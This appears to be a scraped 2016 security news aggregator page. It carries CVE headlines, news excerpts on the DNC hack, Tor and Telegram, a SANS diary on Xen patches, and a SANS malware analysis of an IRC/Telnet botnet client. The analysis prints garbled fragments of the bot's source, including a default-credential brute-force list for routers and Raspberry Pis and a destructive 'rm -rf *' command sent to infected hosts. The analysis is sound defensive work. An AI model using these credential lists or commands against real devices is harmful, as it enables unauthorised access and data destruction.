[SECURITY] [DSA 3633-1] xen security update
 
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
Mozilla Network Security Services Use After Free CVE-2016-1979 Denial of Service Vulnerability
 
Mozilla Firefox Multiple Security Vulnerabilities
 
Apache Tomcat Security Manager CVE-2016-0714 Remote Code Execution Vulnerability
 
Apache Tomcat Security Manager CVE-2016-0706 Information Disclosure Vulnerability
 
Apache Tomcat CVE-2016-0763 Security Bypass Vulnerability
 
PHP CVE-2016-6294 Local Information Disclosure Vulnerability
 
PHP 'exif.c' NULL Pointer Dereference Denial of Service Vulnerability
 
Apache Struts CVE-2016-3087 Remote Code Execution Vulnerability
 
Xen CVE-2016-6259 Denial of Service Vulnerability
 
Xen CVE-2016-6258 Privilege Escalation Vulnerability
 
QEMU 'hw/scsi/esp.c' Remote Code Execution Vulnerability
 
CVE-2016-2783 - Avaya VOSS/VSP Release 4.1.0.0 Vulnerable to SPB Traffic traversal
 

In comments that appeared to condone the hacking of sensitive US correspondence, Republican presidential nominee Donald Trump on Wednesday said he hoped Russia locates missing e-mails sent by Hillary Clinton when she was US secretary of state.

"Russia, if you’re listening, I hope you’re able to find the 30,000 e-mails that are missing," Trump said during a news conference. "I think you will probably be rewarded mightily by our press. Let's see if that happens. That'll be nice."

Donald Trump on Russia missing Hillary Clinton e-mails (C-SPAN).

At the same event, Trump also said, "I'm not gonna tell Putin what to do. Why should I tell Putin what to do?... It's not even about Russia or China or whoever it is that's doing the hacking. It's about the things they said in those e-mails. They were terrible things." A video of the entire news conference is here.

Read 4 remaining paragraphs | Comments

 

Jacob Appelbaum is a former Tor staffer. (credit: SHAREconference)

The Tor Project said Wednesday that its internal investigation has been completed into allegations of sexual misconduct allegedly perpetrated by one of its most prominent staffers, who has since left the organization.

In a statement, Executive Director Shari Steele wrote that the inquiry concluded that "many people inside and outside the Tor Project have reported incidents of being humiliated, intimidated, bullied, and frightened" by Jacob Appelbaum, a now-ex-member of Tor’s "Core Team," adding, "and several experienced unwanted sexually aggressive behavior from him."

The Tor Project is the Massachusetts-based nonprofit that maintains Tor, the well-known open source online anonymity tool.

Read 6 remaining paragraphs | Comments

 
gdk-pixbuf 'OneLine32' Out Of Bounds Write Denial of Service Vulnerability
 
DBD::mysql 'my_login()' Function Use After Free Remote Code Execution Vulnerability
 
The White House announced today a new report from the National Science and Technology Council on challenges, opportunities and the path forward in quantum information science, including a plan for high-performance computing.As described ...
 
[SECURITY] [DSA 3632-1] mariadb-10.0 security update
 

(credit: amalthya)

A bug in the Telegram Messager app logged anything its users pasted into their chats in its syslog on macOS, even if they had opted for the end-to-end encrypted "secret" mode.

The vulnerability was spotted earlier this month by Russian infosec operative Kirill Firsov, who directly and publicly challenged Telegram's flamboyant founder and chief Pavel Durov about the app's latest security flaw.

In an angry reply, Durov admitted that the vuln existed, but insisted it "applies only to texts that were copy-pasted from clipboard, and such texts are open to all other Mac apps anyway."

Read 8 remaining paragraphs | Comments

 
RE: VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability
 

An attendee at the first day of the Democratic National Convention protests the DNC's treatment of Bernie Sanders, as hinted at by e-mails exposed by an alleged Russian hack. (credit: Chip Somodevilla , Getty News Images)

The well-timed leak of e-mails from the Democratic National Committee, following a long-running breach of the DNC's network, is a masterful piece of information warfare. The leak may only be the beginning of an effort to shape the US presidential election, or it may be a backup plan triggered by the exposure of the long-running breach. But the hacking of the DNC and the direct targeting of Hillary Clinton are only parts of a much larger operation by Russia-based hackers who have breached a number of US government networks.

Evidence collected by the security firm CrowdStrike and forensic work by Fidelis point to the breach being caused by two "threat groups" associated with Russian intelligence organizations. A pair of reports published in June by SecureWorks suggests that the same threat groups conducted phishing campaigns against the e-mail addresses of the DNC. The same attackers targeted the addresses of Clinton campaign staffers, political consultants, journalists, and current and former members of the military, among others.

At a minimum, this suggests that the DNC breach was part of a larger intelligence collection operation. The leaked data from the DNC breach, however, may have been intended to create chaos and uncertainty around the election. But why would the Russian government open that can of worms? It's possible that this fits into a larger Russian strategy aimed at splintering NATO and countering what Russia has seen over the past decade as encroachment by the West on Russia's national interests.

Read 23 remaining paragraphs | Comments

 
VUPlayer 2.49 - (.pls) Buffer Overflow Vulnerability
 
DornCMS v1.4 - (FileManager) Persistent Cross Site Scripting Vulnerability
 
Nusiorung CMS 2016 - (Login) Auth Bypass Vulnerability
 

Xen released a patch to fix a critical vulnerability affecting x86 PV[1] guests. A malicious administrator on a vulnerable guest could escalate his privileges to that of the host. All versions of Xen are reported vulnerable but only on x86 hardware. A mitigationis to run only HVM[2] guests but patch as soon as possible. The security advisory is available here(CVE-2016-6258).

A second advisory has been released whichaffects 32bits PV guests and may cause a crash of the hypervisorresulting in a denial of service for other guests. The security advisory is available here (CVE-2016-6259).

[1]Paravirtualization is an efficient and lightweight virtualization technique introduced by Xen, later adopted also by other virtualization solutions. Paravirtualization doesnt require virtualization extensions from the host CPU. However paravirtualized guests require special kernel that is ported to run natively on Xen, so the guests are aware of the hypervisor and can run efficiently without emulation or virtual emulated hardware. Xen PV guest kernels exist for Linux, NetBSD, FreeBSD, OpenSolaris and Novell Netware operating systems.

[2] Hardware Virtual Machine (full virtualization)

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability
 

I like to play active-defense. Every day, I extract attackers IP addresses from my SSH honeypots and performa quick Nmap scan against them. The goal is to gain more knowledge about the compromised hosts. Most of the time, hosts are located behind a residential broadband connection. But sometimes, you find more interesting stuff. When valid credentials are found, the classic scenario is the installation of a botnet client that will be controlled via IRC to launchmultiple attacks or scans. Malicious binaries are pre-compiled for many architectures but, this time, I feltlucky and got access to the source code! I found a compromised host (located in the Seychelles) that was hosting pre-compiled binaries and the source code of the botnet client itself. I had a quick look of course...

Honestly, the client is not very complex and only basic features are implemented but it helps to understand how to code malicious software. First of all, only one CC server was hardcoded in the source code (also located in the Seychelles) but the client can handle multiple servers. I presume that binaries are compiled with a new CC every time a new campaign is started. The connection occurred on an unusual port: 9271 (the default one being 6667 - IRC).

Once started, the client forks itself, tries to connect to its C"> if (pid1 = fork()) { waitpid(pid1, } else if (!pid1) { if (pid2 = fork()) { } else if (!pid2) { } else {}} else {}while(1){ } ....}

Once successfully connected, it enters the mainloop waiting for commands. The following ones were implemented:

  • PING (expecting a classic PONG reply)
  • GETLOCALIP (returns the local IP address of the bot)
  • SCANNER [ON|OFF] (starts or stops the Telnet scanner - see below)
  • EMAIL
  • HOLD :port
  • ip
  • target
  • target

The SCANNER"> in_addr_t getRandomPublicIP(){ if(ipState[1] 255 ipState[2] 255 ipState[3] 255 ipState[4] 255) { szprintf(ip, %d.%d.%d.%d } while( (ipState[1] == 0) || (ipState[1] == 10) || (ipState[1] == 100 (ipState[2] = 64 ipState[2] = 127)) || (ipState[1] == 127) || (ipState[1] == 169 ipState[2] == 254) || (ipState[1] == 172 (ipState[2] = 16 ipState[2] = 31)) || (ipState[1] == 192 ipState[2] == 0 ipState[3] == 2) || (ipState[1] == 192 ipState[2] == 88 ipState[3] == 99) || (ipState[1] == 192 ipState[2] == 168) || (ipState[1] == 198 (ipState[2] == 18 || ipState[2] == 19)) || (ipState[1] == 198 ipState[2] == 51 ipState[3] == 100) || (ipState[1] == 203 ipState[2] == 0 ipState[3] == 113) || (ipState[1] = 224) ) { } szprintf(ip, %d.%d.%d.%d"> char *usernames[] = {root\0, \0, admin\0, user\0, login\0, guest\0, user\0,pi\0,support\0char *passwords[] = {root\0, \0, toor\0, admin\0, user\0, guest\0, login\0, changeme\0, 1234\0, 12345\0, 123456\0, default\0, pass\0, password\0,alpine\0,raspberry\0,support\0, ubnt\0"> if(send(fds[i].fd, rm -rf *\r\n, 157, MSG_NOSIGNAL) 0){ }

The email feature looked experimental because some part of the code was commented out and the From"> if(send(fd, HELO rastrent.com\r\n } }if(strstr(buffer, 250 }if(send(fd, MAIL FROM: \r\n } }if(strstr(buffer, 250 }

The domain rastrent.com is registered butnot used at the moment. Here are passive DNS records found:

2015-11-06 184.154.229.207
2015-02-24 69.64.147.242
2014-10-14 208.43.167.119

About the flood commands, the UDP and TCP ones are classic. The JUNK"> //nonblocking swegif(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 errno != EAGAIN){}

This is not a very complex example but it shows how a badly protected Linux box can be infected and integrated into a botnet to generate malicious activity. The fact that the main feature is a Telnet scanner and the presence of binaries for multiple architectures tend to think for the botnet targets residential routers or small embedded Linux like storage devices. In the mean time, the server hosting the source code and binaries is offline for 24 hours. The hardcoded CC server is still alive.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

 
Internet Storm Center Infocon Status